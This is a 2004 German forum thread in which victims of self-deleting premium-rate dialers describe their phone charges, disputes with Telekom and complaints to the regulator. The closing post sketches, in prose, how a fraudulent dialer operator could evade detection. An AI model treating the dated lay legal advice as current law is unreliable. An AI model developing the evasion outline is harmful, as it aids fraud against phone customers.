Aktivität: GetSpecialFolder
Dieses Skript wurde gestoppt.
Daraufhin wurde die Ausführung des Skriptes gestoppt.
Auf meinem sogenannten ISDN-Monitor, der sämtliche Einwahlaktivitäten aufzeichnet, fand sich folgender Eintrag:
17:31 [1-1] Wähle 01019xxxxx von 0268xxxxx (Daten)
17:31 [1-1] ..... Verbunden mit 01019xxxxx
18:23 [1-1] Beendet   (00:51:56)
18:23 [1-1] Wähle 090090000425 von 0268xxxxx (Daten)
18:23 [1-1] ..... Klingelt
18:23 [1-1] ..... Verbunden mit 090090000425
18:24 [1-1] Beendet   (00:00:31)
18:24 [1]   S0-Bus deaktiviert

Auf der Telekomrechnung fanden sich dann 25,82 Euro zzgl. MwSt. Die Telekom hat auf Grund meines sofortigen Widerspruchs nur den um diesen Betrag gekürzten Rechnungsbetrag eingezogen. Ich habe mich zusätzlich bei der Regulierungsbehörde beschwert.
Ich werde auch noch eine Strafanzeige formulieren. Habe aber jetzt wenig Zeit, da ich bis übernächste Woche in Urlaub fahre.
Es ist sehr schade, dass hier viele Beiträge von Gästen stammen, mit denen man keinen Kontakt aufnehmen kann. Sollte es zu Mahnverfahren und anschließend Klagen kommen, wäre es schon hilfreich, wenn man viele Aussagen von ebenfalls Geschädigten hätte, erst recht wäre das in einem Strafverfahren wichtig.
Ich bitte alle, die daran Interesse haben, mit mir Kontakt aufzunehmen, damit man die einzelnen Fälle mal konkret sammeln und gerichtsverwertbar aufarbeiten kann.
Gruß Manfred


----------



## galdikas (3 März 2004)

KalleM schrieb:
			
		

> Das Problem ist aber folgendes:
> 
> Der PRS-Offline Service ist ein Dienst der T-Com.



Die von der T-Com Dir erbrachte (Vertrags-)Leistung besteht aber *nur* in der Herstellung und Aufrechterhaltung von Telekommunikations- ....

...*Verbindungen zum Service 0900 von ICP (=Interconnectionpartner)
- im Offline-Billing-Verfahren -*
http://www.telekom.de/dtag/ipl1/cda/main/0,18920,17098,00.html

Dagegen erbringt jedenfalls nicht die T-Com die zusaetzlichen Dienste (Gespraeche, Informationsaustausch usw.) auf der Grundlage eines zwischen Dir und der T-Com geschlossenen Mehrwert-Vertrags. 



> Wenn Einspruch eingelegt wird, muss man sich nicht mit der Fa. EasyBilling auseinandersetzen, sondern direkt mir der T-Com.



Nein - man braucht nur gegenueber jedem, der sich der Inhaberschaft eines eigenen Rechts beruehmt ( = die Zahlung eines Betrags in Hoehe X von Dir foerdern zu koennen) zu bestreiten, dass ihm ein solches Recht zusteht.

Dann muss derjenige belegen, dass 1. zwischen Dir und irgendjemandem ein Vertrag ueber die Erbringung der fraglichen Mehrwertleistung zu bestimmten (Preis-)Bedingungen geschlossen worden sein soll, 2. dass durch die Erbringung der Vertragsleistung ein vertraglicher Verguetungsanspruch in mit dem Vertragspartner vereinbarter Hoehe entstanden ist, und 3. dass derjenige Fordernde entweder mit Deinem leistungserbringenden Vertragspartner identisch ist, oder dass er sich von jenem dessen Forderungsrecht hat wirksam abtreten lassen.



> *Habe heute auch ein Schreiben von der EasyBilling bekommen:*
> O-Ton: "...um die Bezahlung ihrer Telefonrechnung zu klären, müssen Sie sich mit ihrem Provider, in Ihrem Fall die DTAG in Verbindung setzen. Denn nicht wir haben Ihnen die Rechnung gestellt, sondern die DTAG. ...
> ...wenden Sie sich bitte zur Klärung an Ihren Dienstebetreiber....



Dein Rechnungsersteller macht jedoch keine Forderung aus einem eigenen Recht geltend (entstanden etwa durch von der T-Com selbst erbrachte Sprach- oder Sexdienste, ausgetauscht mittels einer Telekommunikationsverbindung, oder durch wirksame Abtretung eines Verguetungsanspruchs des Dir gegenueber eigentlich durch vertraglich vereinbarte Sprach-/Sexdienst-Erbringung Verguetungsberechtigten an die T-Com), sondern uebernimmt lediglich fuer einen anderen die Rechnungserstellung.

Und: die Leistung eines (Mehrwert-)Sprach-/Sexdienstes und die rein technische Leistung einer Verbindungsherstellung zwischen dem Kundenanschluss und dem Anschluss desjenigen, der die Erbringung seiner Dienste via Fernkommunikationsverbindungen offeriert, sind zwei voneinander zu unterscheidende Leistungen.

gal.


----------



## Freche_Katz (3 März 2004)

*Hmmmm,blick da nicht so durch.......*

Hallo Leutz 
Hab DSL und bin mit einem Router unterwegs.
Brauche also keine DFÜ Verbindung und hab in meinem Fall auch keine eingerichtet.
Das einzige was bei mir noch installiert ist,ist die Telefonanlage mit ISDN Karte.
Die Treiber sind auch drauf,da ich meine Daten der Anlage mal brauchte.
Die Telefonanlage ist allerdings deaktiviert im Gerätemanger.
Jetzt meine Frage:Wo kommt plötzlich die DFÜ Verbindung her?
Hatte als Überschrift "Relax_B",ist schon mal merkwürdig.
Unter Eigenschaften versteckte sich eine Nummer die auch seltsam ist:
090090000429.
Habe hier in diesem Forum die nötigen Infos gefunden.
Aber auf meiner aktuellen Rechnung von der Telekom,finde ich nur einen PRS Dienst mit Gebühren von 2,02 Euro plus Steuer(Artikelnummer 55598),also etwa 2,34 Euro.
Bin jetzt etwas verwirrt weil hier immer von 25 Euro und nochwas geschrieben wird.
Und was mich auch noch interessieren würde,ist ob es trotz deaktivierter Telefonanlage möglich war,das sich das Programm einwählt?


----------



## Anonymous (3 März 2004)

*Betrugsdialer*

Das Problem ist, dass man von der Telekom nur für voll genommen wird, wenn man "droht". Eine Drohung ist, die Telekom als Anbieter darzustellen, bei dem JEDER STÄNDIG mit betrügerischen Rechnugen rechnen muss. Kann man erfolgreich den Eindruck erwecken, man könne dies massenhaft unter die Leute bringen, ist das Entgegenkommen oft sensationell. Telekom verpulvert zig Millionen für Werbung; und Antiwerbung ist zehnmal wirksamer! Adressat ist aber hier nur die Pressestelle aufwärts. Man blöckt auch nicht rum, sondern gibt sich journalistisch cool: "Ne Riesengeschichte ist das sowieso. Und es ist mir fast peinlich, dass ich jetzt selbst davon betroffen bin."


----------



## sascha (3 März 2004)

> Adressat ist aber hier nur die Pressestelle aufwärts. Man blöckt auch nicht rum, sondern gibt sich journalistisch cool: "Ne Riesengeschichte ist das sowieso. Und es ist mir fast peinlich, dass ich jetzt selbst davon betroffen bin."



Hak's ab. Die Pressestelle ist da in jeder Hinsicht resistent gegen. Da nützt sogar (echte) journalistische Coolness herzlich wenig.


----------



## hrachka (3 März 2004)

anna schrieb:
			
		

> Anonymous schrieb:
> 
> 
> 
> ...





warum schreibt keiner hier die Adresse der Regulierungsbehörde einfach.


----------



## hrachka (3 März 2004)

und eine Vorlage auch dazu wäre nicht schlecht. Schliesslich ausländische Mitbürgerinnen und Mitbürger (laut Kanzler Schröder) müssen es bissl einfacher haben   

Gruss


----------



## sascha (3 März 2004)

> und eine Vorlage auch dazu wäre nicht schlecht.



Gucksu hier http://www.dialerschutz.de/home/Downloads/downloads.html unter Musterbriefe.


----------



## eb-victim (4 März 2004)

*Re: Erwischt: 090090000426*



			
				eb-victim schrieb:
			
		

> Am 8.2. hat es mich erwischt: Nummer 090090000426.  :-?
> Zum Glück nur einmal 29,95 ...
> Noch am 8.2. Einzugsermächtigung widerrufen und diesen Betrag beim Überweisen abgezogen.





			
				Telekomiker schrieb:
			
		

> Hierbei konnten wir keinen Anhaltspunkt für ein unseriöses Angebot (...) feststellen.


(Das ist die Kurzzusammenfassung von 4 Seiten - den gleichen Serienbrief haben anscheinend schon andere erhalten.)
Habe umgehend und ausführlich geantwortet und hoffe, dass die Telekomiker  8)  nach einer "umgehenden und ausführlichen" Prüfung beim zweiten Hinsehen doch ein paar Merkwürdigkeiten finden.

Weiterhin hat die Telekom alle 0190- und 0900-Nummern für meinen Anschluss gesperrt - ohne mich zu fragen, ohne, dass ich das wollte! Ja dürfen die das? (immerhin war's kostenlos)

Ich halte euch auf dem laufenden ...


----------



## hrachka (4 März 2004)

Betr. Beschwerdebrief an die Regulierungsbehörde 

na endlich ist auch mein Brief unterwegs. 

Bei Tausenden betroffenen, sollen 10xtausende Beschwerde vorliegen. Das ist nicht der Fall nach letzten Erkenntnissen.

Anderenfalls können wir nicht gewinnen, wenn wir uns nicht einigen

Gruss


----------



## Anonymous (4 März 2004)

*090090000422*

hallo zusammen,

auch ich darf mich einreihen. Werde euren Rat befolgen und jetzt erstmal der Telekom eine Schreiben schicken. werde euch davon berichten wie es weitergeht.


----------



## Anonymous (4 März 2004)

Hallo,

auch mich hat es erwischt: Easy-Billing/Matlock usw...... Dailer 090090000422 (15.02.04, 16 sec)

Die 25,81 € + Mwst bringen mich nicht an den Bettelstab, aber ich haette es nicht geglaubt, dass solche Abzocke überhaupt möglich ist. Dachte, die Horrormeldungen in Presse und Fernsehen Treffen nur die Dummen ... jetzt bin ich selbst einer.

Gut, dass ich dieses Forum gefunden habe, jetzt blicke ich wenigstens ein wenig durch. Danke an Alle für die vielen Hinweise ...

Bei der Telekom habe ich schon angerufen: 

Rat der Telefondame: Einzugsermächtigung widerrufen, schriftlich Beschwerde gegen den Einzelposten einlegen, den unstrittigen Rest überweisen. Wie hier auch empfohlen ....

Dann Anruf bei der Regulierungsbehörde:

Dailer ist registriert ... aber ich soll mich trotzdem beschweren.
Es klang aber so gar nicht danach, dass bei denen EasyBill/Matlock bereits in´s Fadenkreuz gerückt sind. 50 Beschwerden bisher sind zwar nicht viel, aber dann sollte denen doch die easybill-Truppe trotzdem ein Begriff sein !

Egal, Beschwerdeschreiben geht noch heute ´raus und an alle Opfer: Macht´s auch !

See-ente


----------



## hrachka (4 März 2004)

kleine Korrektur. 51 Beschwerden seit heute.

ich kann es mir nicht vorstellen, dass nur 50 Beschwerden bei der Reg.Behörde eingegangen sind. Sie drehen uns um den kleinen Finger, kommt es mir eigentlich so vor. 
Wollen wir uns mal hier im Forum aufzählen?!

Gruss


----------



## Petrus (4 März 2004)

*09009-0000423   Dialerbetrug Easybilling Matlock*

Hallo an alle Mitgeschädigten,

seit dem 14.02.04 verfolge ich mit steigender Aufmerksamkeit die Beiträge in diesem Forum. Auch ich bin ein Geschädigter der unheiligen Dreiheit DTAG, Easybilling und Matlock Business. Auf meiner Telefonrechnung vom Februar 04 fand ich die Position: 
4 Verbindungen des PRS (= Premium Rate Service) Offline von T-Com. Macht brutto immerhin 119,80 € aus. Da ich einen EVN (= Einzelverbindungsnachweis) habe, konnte ich gleich nachlesen, dass die Zielnummer 0900-9 0000 423 am 30.01.04 viermal im Abstand von 6 bis 13 Sekunden angewählt worden war. (Natürlich ohne mein Zutun und Wissen!)
Sofort habe ich der DTAG geschrieben und Einspruch gegen diese Position erhoben.  
u.a. mit folgender Formulierung: 
„Ich erkläre an Eides statt, dass ich wissentlich und willentlich weder die Telefon-Nummer 0900-9 0000 423 aktiv mehrmals angewählt habe noch passiv geduldet habe, dass eines meiner Geräte (Fax im PC oder Internetseite) diese gebührenpflichtige Telefon-Nummer mehrmals anwählt.
Kein vernünftiger Mensch auf der ganzen Welt würde viermal hintereinander im Sekundenabstand dieselbe teure gebührenpflichtige Telefon-Nummer anwählen oder von einem seiner Geräte anwählen lassen. Schon aus dem Zeittakt ergibt sich logisch, dass wahrscheinlich ein Internet-Anbieter illegal eine Software (dialer) auf meinem PC installiert hat, die dann von sich aus den Anbieter mehrmals angewählt hat, ohne dass ich davon wußte.“

Die DTAG schrieb sehr ausführlich zurück, u.a.: „
„Erhalten wir nach Inbetriebnahme der Rufnummer Hinweise, die an der Seriosität des Anbieters zweifeln lassen, gehen wir diesen umgehend und ausführlich nach. Sofern hierbei ein Vertragsverstoß festgestellt wird, werden die Angebote unsererseits abgemahnt bzw. gekündigt und abgeschaltet. Dementsprechend haben wir auch den von Ihnen vorgetragenen Sachverhalt sorgfältig geprüft. Hierbei konnten wir keinen Anhaltspunkt für ein unseriöses Angebot des Inhalte Anbieters oder einen anderen Umstand, aus dem Ihre Zahlungspflicht entfällt, feststellen.
Insbesondere konnten wir nicht feststellen, dass es sich um ein illegales anwählen handelt. Der über ihren Anschluss angewählte Dialer ist bei der Regulierungsbehörde für Telekommunikation und Post registriert.” 
(Die Hervorhebungen stammen von mir.)

Die Matlock Business Corp. beschreibt selbst auf ihren WEB-Seiten die Funktion ihrer Dialer wie folgt: 
„Das Anwählprogramm entfernt sich nach dem Trennen der entgeltpflichtigen Verbindung automatisch und vollständig.“
h**p://dial-2..........net/galleries/10769181/65c8/3eb5/6bc5/debb697089b71/layout/   

„Beim Anklicken des Feldes "EINGANG" wird auf meinem Rechner eine Zugangssoftware aktiv, um eine kostenpflichtige Verbindung zum Preis von 1,86 Eur pro Minute aufgebaut. (Die Zugangssoftware bewirkt weder Änderungen noch Löschen der auf Ihrem Rechner vorhandenen Dateien und wird nach dem Verbindungsaufbau gelöscht.)“
h**p://www.........net/galleries/sv/gay/ 

In ihrer ersten Version von 09009-Dialern, angemeldet am 9. Dezember 2003 bei der RegTP beschreibt Matlock seinen Dialer u.a. wie folgt: 
„Kunde kommt auf Webseite und muss die AGBs sowie die Preisauszeichnung bestaetigen, danach wird je nach Kundenrechner entweder per Script oder Applet eine web.exe herunter geladen, diese unterbricht die bestehende Verbindung und baut zu der kostenpflichtigen Rufnummer eine Verbindung auf. Wenn diese beendet wird, oder der Browser geschlossen wird, wird diese wieder getrennt und die web.exe wird vom Kundenrechner geloescht. Der Kunde kann dann ganz normal mit seiner normalen Internetverbindung weiter surfen.“
Bei den Anmeldungen der späteren Dialer am 17.12.2003 und am 4.02.2004  hat Firma Matlock den Text den aktuellen Anforderungen angepasst, die Dialer löschen sich aber noch immer, wie die Forumsteilnehmer fast übereinstimmend berichten.
Es ist ein Glücksfall, dass es dieses Internetforum gibt. Nur so haben wir Geschädigten eine Chance, uns gegen diese geplante und planmäßige organisierte Abzocke einigermaßen zur Wehr zu setzen. In diesem Zusammenhang die Bitte, dass jeder – so bekannt – die genaue Telefon-Nummer des „Mehrwertdienste-Anbieters“ mitteilt, ferner wie oft der Dialer sich innerhalb von 20 Minuten eingewählt hat, an welchem Datum und ob der Betreffende bereit ist, eine Fotokopie seiner DTAG-Rechnung für ein gemeinsames Vorgehen bei der Staatsanwaltschaft (z.B. Flensburg) zur Verfügung zu stellen.
Vielleicht schaffen wir eine Anklage gegen die DTAG und gegen Easybilling wegen Beihilfe zum Betrug, Strafvereitelung und Geldwäsche (Nach Buggisch in NStZ 2002 Heft 4, Seite 178 ff erfüllt die Bereitstellung eines Dialer-Programms, das die unbeabsichtigte Einwahl in kostenverursachende Dienste bewirkt, die Tatbestände der §§ 263, 263a StGB.
Damit liegt eine Vortat gemäß § 261 StGB vor. Die Deutsche Telekom hilft Betrügern nicht nur die Beute zu sichern, sie zieht sie sogar gewerbsmäßig ein. http://forum.computerbetrug.de/viewtopic.php?t=1207&highlight=geldw%E4sche Link auf http://www.dialerhilfe.de/news/030116_01.php)
und eine Anklage gegen Matlok Business Corp. wegen systematischen und planmäßigen Betruges. 
Wäre doch mal ein Sieg der Gerechtigkeit, oder glaubt da etwa einer nicht mehr dran ??
Venceremos !!!
Petrus

_URLs editiert, da bekannt und extrem gefährlich , siehe NUB tf/Moderator _


----------



## blumenwiese23 (4 März 2004)

*letzte mahnung*

hab heute die zweite und letzte mahnung von der telekom bekommen.
sie meinen, sie werden sonst rechtliche schritte einleiten. 
ich habe eigentlich alles getan, postenverteilung, unstrittiger betrag überwiesen...
was nun??? die frist ist bis 13.03.
danke


----------



## Opfer (4 März 2004)

Hallo

Ich konnte leider ein paar Tage nicht reinschauen. Aber jetzt bin ich ja da und kann die frohe Kunde loswerden:
Die Telekom hat tatsächlich den Betrag zurückerstattet (ok...bis auf 0,01 cent ). Damit wäre die Sache in meinem Fall wohl abgeschlossen. Eigentlich. Dennoch lässt mir das ganze irgendwie keine Ruhe. Es kann nicht sein, daß sich eine solche Aktion so lange zieht, und es immer weiter Geschädigte gibt. Es muss etwas passieren, das die "Anbieter" (Aufdränger wäre wohl passender) ein für alle mal eine solche Abfuhr bekommen, das es sich jeder zwei mal überlegt, ob er auf eine solche Abzocke zurückgreift oder nicht. Die Sache mit dem PRS ist ebenfalls äusserst seltsam.
Ich wünsche allen Geschädigten das beste damit jeder zu seinem Recht kommt. Mal schauen, ob wir nicht doch bald etwas in dem Fall Easybilling/Matlock erreichen können *Orakel* 

Gruss
Opfer


----------



## sunsplash (4 März 2004)

Habe gerade folgende Mail erhalten und stelle sie hier ins Forum, für alle die sie nicht erhalten haben. 


Hallo Sunsplash, 

Ich arbeite als Redakteur bei der Fernsehsendung planetopia - dem Wissensmagazin auf Sat1 und recherchiere gerade in Sachen Easy Billing AG und dem Dialer web.exe. Dieser Dialer wählt sich automatisch ein und löscht sich ebenso automatisch (von der RegTP registriert). Wir haben die Vorgehensweise dieses Dialers dokumentiert und suchen nun Leute, die von eben diesem Dialer abgezockt wurden und sich vor der Kamera dazu äussern wollen. 

Wenn Sie also betroffen sind oder jemand anderes kennen würde ich mich freuen, wenn Sie mit mir Kontakt aufnehmen würden. 

Vielen Dank und mit freundlichen Grüssen 

Dirk Schmelz 
Redakteur "planetopia online" 
News and Pictures GmbH 
Otto Schott Straße 9 
55127 Mainz 
Tel. 06131-6002681 
Fax. 06131-6002630 
www.planetopia.de

_________________
Redaktion planetopia 
www.planetopia.de 
Email: [email protected] 
Tel. 06131-600-2681 
news & pictures GmbH 
Otto Schott Str.9 
55127 Mainz 



Der Redakteur sucht Leute, die was vor der Kamera zum Fall sagen können.


----------



## blumenwiese23 (4 März 2004)

die pm hab ich auch bekommen. bin bei so etwas aber sehr vorsichtig...
kann mir jemand einen tipp geben wegen posting oben.
danke


----------



## technofreak (4 März 2004)

Es handelt sich um einen  Redakteur von von SAT1 , die Entscheidung als Geschädigter 
zu der Sendung Informationen beizutragen ist jedem selbst überlassen. 

tf


----------



## hrachka (4 März 2004)

*Re: letzte mahnung*



			
				blumenwiese23 schrieb:
			
		

> hab heute die zweite und letzte mahnung von der telekom bekommen.
> sie meinen, sie werden sonst rechtliche schritte einleiten.
> ich habe eigentlich alles getan, postenverteilung, unstrittiger betrag überwiesen...
> was nun??? die frist ist bis 13.03.
> danke



Hi

obwohl ich hier einer bin, der zu den wenig wissenden im rechtlichen Sinne zählt, würde ich dir vorschlagen, dass du nicht zahlst, sofern du den betrag ausgenommen EasyBilling gezahlt hast. Denn DATG erhält durch die Rechnung die Kosten, die du über DATG Service im Anspruch genommen hast, z.B. Festnetzanrufe in und Auslandanrufe usw usf. Der Rest, was nicht gezahlt ist, soll sich derjenige Dienstanbieter allein mit dir auseinandersetzen. Ich spreche nur aus Erfahrung mit solchen angeblichen billigen Vorwahlnummern. Namen werde ich nicht nennen hier, aber durch viele Telefonate damals habe ich rausgehandelt das eine meiner Rechnungen mit 50% reduziert wurde, denn sie durch ein fälschliches Angebot zustande kam. Das ist mein Rat an dich. Sonst, was wäre, wenn du dich direkt an den Redakteur von Planetopia wendest und mit ihm die Sache rausdiskutierst. 

Und eine Frage an alle anderen. Neulich waren Typen an der Tür von Arcor, die mich für ihre neue Dienste werben wollten und ich habe kein Interesse gezeigt. War das nicht eigentlich ein Konkurent von DTAG?! Wenn ja, weisst jemand, ob man sich bei Arcor als Kunde besser fühlt?
Das wäre immerhin eine hervorragende Werbung gegen DTAG, sobald der Fall ans Tageslicht kommt.


----------



## Anonymous (4 März 2004)

blumenwiese23 schrieb:
			
		

> die pm hab ich auch bekommen. bin bei so etwas aber sehr vorsichtig...
> kann mir jemand einen tipp geben wegen posting oben.
> danke


Das Interesse an Geschädigten kam unter anderem aufgrund einem Gespräch mit mir zu stande. Wenn es schon darum geht, dass viele Geschädigte an einem Strang ziehen wollen, dann ist es wohl ganz gut, wenn die Medien beteiligt werden.


----------



## hrachka (4 März 2004)

es obliegt der DTAG die Pflicht anderen Provider das Geld aufzutreiben.


----------



## blumenwiese23 (5 März 2004)

*genervt...*

guten morgen, habe gerade mit einem sehr freundlichen mitarbeiter der dtag telefoniert. der meinete, ich soll die zweite mahnung ignorieren weil mein dritter einspruch vom 19.02.04 noch nicht bearbeitet worden ist. das liegt wohl an dem SAP-programm das die haben. 
mal schauen, was passiert, wenn ich ein antwortschreiben bekomme.


----------



## hrachka (5 März 2004)

für diejenigen, die sich etwas detailierter auskennen!


http://www.peterhuth.de/indexall.php?seite=dialer04.php


----------



## technofreak (5 März 2004)

bereits gepostet 
http://forum.computerbetrug.de/viewtopic.php?p=42478#42478


----------



## Anonymous (5 März 2004)

*GEWONNEN*

Hi Jungs,

ihr habt ja soeben hoffentlich auch alle Nachrichten gehört - es ist ausgestanden den [XXX] von EASY BILLING ist endlich das Handwerk gelegt worden.....in diesem Sinne bedanke ich mich auch noch mal bei allen die sich hier im Forum zum Informationsaustausch angeboten haben....es war echt nett mit euch....wollen wir hoffen daß wir uns unter diesen umständen nie wieder Treffen müssen.....danke auch dem Bundesgerichtshof !!!!!! Es scheint als wenn es doch noch so etwas wie Recht in unserem Staat gibt....ach übrigens noch eine kleine Anmerkung an die Jungs von Easy Billing.....wandelt Euren Firmennamen doch bitte in Heavy Working um denn der Name zieht jetzt bei Euch besser....ihr müßt nämlich wieder für Eure Kohle schaffen .... anschaffen gehen....

gruß euer ralle.....der sich total freut ))))) :lol:  :lol:  :lol:

*[Virenscanner: Ein Wort vorsichtshalber entfernt]*


----------



## eb-victim (5 März 2004)

*BGH-Urteil*

Hi, Folks!
@gast:
Das BGH-Urteil ist erfreulich, aber wir Opfer dürfen uns nicht zu früh freuen, denn der BGH hat lediglich §16 Absatz 3 Satz 3 TKV kundenfreundlich ausgelegt.


			
				§16 Absatz 3 Satz 3 TKV schrieb:
			
		

> Ist der Nachweis erbracht, daß der Netzzugang in vom Kunden nicht zu vertretendem Umfang genutzt wurde, oder rechtfertigen Tatsachen die Annahme, daß die Höhe der Verbindungsentgelte auf Manipulationen Dritter an öffentlichen Telekommunikationsnetzen zurückzuführen ist, ist der Anbieter nicht berechtigt, die betreffenden Verbindungsentgelte vom Kunden zu fordern.


Es bleibt also anscheinend bei "in dubio pro telekom" und Dialer-Opfer müssen m. E. auch weiterhin eine Umkehr der Beweislast durch Belege für eine Manipulation erreichen.
Ich denke, dass dies durch das BGH-Urteil leichter wird (aber ich bin kein Anwalt ...).
Juristen-Meinungen dazu?


----------



## Rex Cramer (6 März 2004)

@eb-victim:
Mal abgesehen, dass dieses "m. E." wahrscheinlich untermauern soll, dass es sich um Deine persönliche Meinung handelt: Bist Du nicht falsch in diesem Thread? Eine rege und lesenswerte Diskussion gibt es doch bereits hier.


----------



## Anonymous (6 März 2004)

*Re: GEWONNEN*



			
				gast schrieb:
			
		

> ...ihr habt ja soeben hoffentlich auch alle Nachrichten gehört - es ist ausgestanden den [XXX] von EASY BILLING ist endlich das Handwerk gelegt worden....


Hallo Ralle, Dein Optimismus in allen Ehren aber Matlock/Easy Billing ist noch am Netz und auch in den Dialerdatenbanken der RegTP registriert. Ich nehme mal an, dass Du davon ausgehst, dass das BGH-Urteil auch hier greift. Dem ist aber - glaube ich - nicht so. Das einzige was dem hinsichtlich der Matlocksache abgewinnen kann ist seine richtungsweisende Wirkung. Der Matlock-Dialer richtet sich nicht als DFÜ-Standard-Verbindung ein und auch sonst gibt es (leider) nicht viele Parallelen, außer dass die Verbindungen strittig und nicht nachvollziehbar zustande gekommen sind.

_Bitt um Berichtigung, fals ich hier falsch liegen sollte._


----------



## bird_9UD (6 März 2004)

*Easybilling, Matlock und Co.*

Hi zusammen, 

ich bin auch "Kunde" von Easybilling, habe es erst mit der Tel.Rechnung richtig bemerkt. 

Bei der Suche in dem betroffenen Rechner habe ich nur eine Veränderung festgestellt : wmplayer.exe.bak (klar das ist der Mediaplärrer von WIN...)  aber die Datei wurde erzeugt just in der selben Minute als der Dialer zugeschlagen hat (2 Sek für 30 Euro) ... ich höre keine Musik, wenn ich surfe... Sollte das nur Zufall sein, oder wurde hier eine wichtige  Datei fett überschrieben um sie unlesbar zu machen ??

Schaut doch mal nach, welche Dateien am selben Tag des Schadens verändert wurden.  

Der Dialer selbst ist bei mir spurlos verschwunden.

Ich erstelle derzeit eine Liste von Betroffenen - bitte melden - Danke

Uwe


----------



## Anonymous (6 März 2004)

:cry: Auch mich hat es erwischt. 090090000425 Esaybilling für 8 s am 31.01.04 für 25,82 Euro. Habe bereits Widerspruch bei Telekom, Easybilling, und Regulierungsbehörde eingelegt. Bisher noch keine Rückmeldung.


----------



## Petrus (7 März 2004)

*09009 0000263 u.va.m.*

Fiktives Szenario® eines genialen 200.000.000,- Euro Dialerbetrugs:

„Mehrwertdienste-Anbieter X“ will ein Jahr lang bei ca. 1.000.000  Internetsurfern, die zufällig über eines der zahllosen anonymen Links auf seine Web-Seiten gelangen, zwischen 50,- und 150,- also im Schnitt 100,- Euro pro „Besuch“ aufs eigene Konto „umleiten“, ohne groß aufzufallen. Das ist eine Umsatzsumme von 100.000.000,- Euro (hundert Millionen Euro oder 200 Millionen DM) !! Zur Erreichung eines solchen Zieles darf man schon etwas Kreativität entfalten und ein paar Vorlaufkosten für die zahlreiche Programmierung und Anmeldung von Dialern vom Nettogewinn abziehen. (Nach 1 Jahr würde der „Mehrwertdienste-Anbieter X erst mal pausieren und den "erdialerten" Urlaub auf den Malediven verbringen, um sich einen neuen Kreativitätsschub zu gönnen: The show must go on ! )

Der Firma X ist bekannt, dass unter den Besuchern von Erotik-Seiten nur 20% der Geschädigten bei der Deutschen Telekom der Rechnung widersprechen, der Rest geniert sich. Firma X weiß weiterhin, dass nur jeder 5. Reklamant schriftlich Einspruch einlegt, der Rest telefoniert nur und hinterlässt keinen aktenkundigen Vorgang. Unter dieser Voraussetzung werden von 1.000.000 Betrugsfällen, die tatsächlich stattfinden, nur 4% oder 40.000 Fälle als Reklamation bei der DTAG aktenkundig. 

Firma X überlegt, wie sie die Spuren noch weiter verwischen kann. Ganz einfach, Firma X meldet für 3 verschiedene Webseiten insgesamt 200 verschiedene Nummern im Bereich 0900-9 an, mit ein oder mehreren Dialern pro Nummer. Sie schaltet beispielsweise von jedem Link einen anderen Satz von Dialern auf ihre 3 Webseiten, jeder Dialer führt zu einer anderen Telefonnummer und damit – für den Kunden und vielleicht auch für die begriffsstutzige Deutsche Telekom – zu einem anderen „Mehrwertdienste-Anbieter“. Zur Tarnung sind vielleicht einige der Dialer-Nummern mit einem korrekt funktionierenden Dialer gekoppelt. Auf diesen Nummern gibt es überhaupt keine Reklamationen. Die zeigt man dann als Beleg für die Seriosität des Geschäftsgebahrens der DTAG, der ermittelnden Polizei, der Staatsanwaltschaft und der RegTP vor.

Die bei der RegTP registrierten Dialer, (von denen ich mal unterstelle, dass sie der hinterlegten Beschreibung entsprechen) werden beim normalen Seitenaufruf installiert, damit jeder, der nur oberflächlich nachprüft (wie z.B. die DTAG) und die Homepage der Firma X über die URL aufruft, feststellen kann, dass alles in bester Ordnung ist. 

Von den zahllosen verschiedenen „Free Preview“-Seiten, 
z.B. [ENTFERNT, siehe unten]
führen über jede der ungefähr 100 Seiten 144 Links/Seite statistisch verteilt auch ein oder mehrere anonyme Links auf die eigenen Web-Seiten.  Und hier verwendet die Firma X aus ihrem großen Arsenal von „Abzock“-Dialern abwechselnd irgendeinen, der sich im PC des Internetsurfers nach Anklicken eines bestimmten Links spontan installiert. Für den user unbemerkt und unsichtbar treiben diese „Abzock“-Dialer ihr teufliches Spiel auf dem befallenen PC und wählen je nach Programmierung ein- bis etwa zehnmal eine der 200 Telefonnummern der Firma X an. Der Aufruf über ein Link ist in keinster Weise gerichtsverwertbar reproduzierbar, weil die 14.400 Links alle 30 Minuten neu verteilt werden. Neue kommen dazu, alte fliegen raus.

Die im vorherigen Abschnitt errechneten 40.000 Fälle „verdünnen“ sich also auf 40.000 / 200 = 200 Fälle pro Telefon-Nummer und scheinbar auch auf 200 verschiedene „Mehrwertdienste-Anbieter“ und pro Jahr. 

Aber die Genialität der Firma X ist noch nicht zu Ende. Sie sorgt dafür, dass parallel mit dem Dialer eine zweite Datei - ebenfalls unmerklich für den normalen user - installiert wird. Nach ein- bis vielmaliger Anwahl der einprogrammierten Zielnummer wird der geniale Abzock-Dialer wieder gelöscht, ohne die zarteste Spur zu hinterlassen. Der Abzock-Dialer löst sich ins Nirwana, in Nichts auf. Keiner der 1.000.000 Kunden hat etwas Justiziables gegen den „Mehrwertdienste-Anbieter“ in der Hand. Nichts, Null ! Echt genial !

Noch genialer: Die Telekom arbeitet der Firma X – natürlich unbewusst und unabsichtlich – noch zu. Im Anhang zur monatlichen Rechnung der Telekom heißt es u.a.: 
„Wir löschen Ihre Verbindungsdaten 80 Tage nach Versand der Rechnung, sofern Sie nicht sogar die sofortige Löschung beauftragt haben. Die gesetzliche Höchstspeicherdauer beträgt sechs Monate.“
{Motto: „Datenschutz geht allemal vor Kundenschutz!“}

Das bedeutet für unsere Firma X, dass sie nach 80 Tagen wieder mit ihrem Dialer-Nummern-Karussell von vorne anfangen kann, also ihren Betrugszyklus viermal pro Jahr ablaufen lassen kann. 
(200 schriftlichen Reklamationen 
pro Jahr und pro Dialer-Nummer 
entsprechen 50 Reklamationen 
pro Quartal und pro Dialer-Nummer, die bei der DTAG archiviert sind.)

Zum schlechten Schluß arbeiten die Telekom-Kunden selbst auch noch der „ehrenwerten“ Firma X in die Hände, weil schätzungsweise nur 20% einen Einzelverbindungsnachweis für ihre Telefonrechnung beantragt haben. Also nur jeder 5. Kunde kann auf Anhieb die Nummer identifizieren und bei der Reklamation nennen, von deren Inhaber er betrogen wurde. Jetzt sind es nur noch 10 Kunden pro Quartal, die fundiert reklamieren und gleichzeitig bis zur Adresse des zweiten Inkassounternehmens (z.B. „Big-Bills“), welches direkt nach der DTAG kommt, vordringen.

